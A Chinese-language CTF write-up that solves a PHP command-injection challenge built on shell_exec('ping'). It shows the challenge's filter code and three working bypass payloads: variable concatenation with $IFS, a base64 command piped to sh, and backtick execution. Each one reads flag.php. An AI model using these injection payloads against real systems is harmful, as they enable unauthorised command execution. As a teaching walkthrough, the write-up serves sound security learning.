标签:ima 空格 img 执行 com 成功 index php 字母
打开题目,是一道rce
先随便测试一下
可以正常请求了
用管道符拼接下,执行ls命令
直接发现了flag.php
二话不说,直接cat
显然空格被过滤了,果然没这么简单
空格被过滤的话有几种解决方法
$IFS ${IFS} $IFS$1 < <>
重新构造payload:ip=127.0.0.1;cat$IFS$1flag.php
发现flag也被过滤了
还是老老实实的先看下index.php吧
|\‘|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\‘|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
解决方法有3种
1.拼接绕过
其实就是引用变量
payload:?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
成功得到flag
这里要注意的就是
else if(preg_match("/.*f.*l.*a.*g.*/", $ip))
这个匹配的是一个字符串中是否按顺序出现flag四个字母
例如payload:?ip=127.0.0.1;a=f;cat$IFS$1$alag.php
这个就不能绕过了
2.编码绕过
直接构造payload:?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
因为bash被过滤掉了,所以用sh替代
也能成功得到flag
3.内联执行
就是将反引号内命令的输出作为输入执行
构造payload:?ip=127.0.0.1;cat$IFS$1`ls`
直接把ls命令查看到的文件全都cat到了
也是成功得到flag
标签:ima 空格 img 执行 com 成功 index php 字母
原文地址:https://www.cnblogs.com/c0d1/p/14844837.html